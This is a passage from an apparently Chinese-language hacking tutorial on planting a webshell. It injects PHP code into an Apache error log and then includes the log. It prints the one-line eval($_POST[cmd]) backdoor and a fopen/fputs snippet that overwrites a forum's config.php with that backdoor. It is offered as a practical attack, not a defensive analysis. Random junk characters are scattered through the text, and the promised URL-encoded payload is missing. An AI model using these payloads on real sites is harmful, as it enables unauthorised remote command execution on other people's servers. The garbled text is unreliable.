因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 3 n% l3 r6 }: K. S K
% e9 k7 d2 l4 w9 t0 \比如还是这句一句话木马 9 l, j) r) j3 K' p. t$ K$ ~
<?eval($_POST[cmd]);?>
3 b4 K6 z2 S2 M8 U7 m, Q, _/ Q# v- [9 j$ \( I4 @
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
M! j5 F& m- r Jfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 # i& x; ]7 S1 c* L6 x! `, X% O& U! R
) Z! e3 w8 s0 c, j/ D( A8 Y1 v<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
& T* r6 o# V4 b0 C5 `fclose($fp);?> //在config.php里写入一句木马语句 * P5 _8 F( U& U! x; a. s
$ J z% v# B o2 H
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 $ c- g6 S( I: [8 I1 [* F6 ~" F
转换为

这样就错误日志里就记录下了这行写入webshell的代码。

这样webshell就写入成功了,config.php里就写入一句木马语句
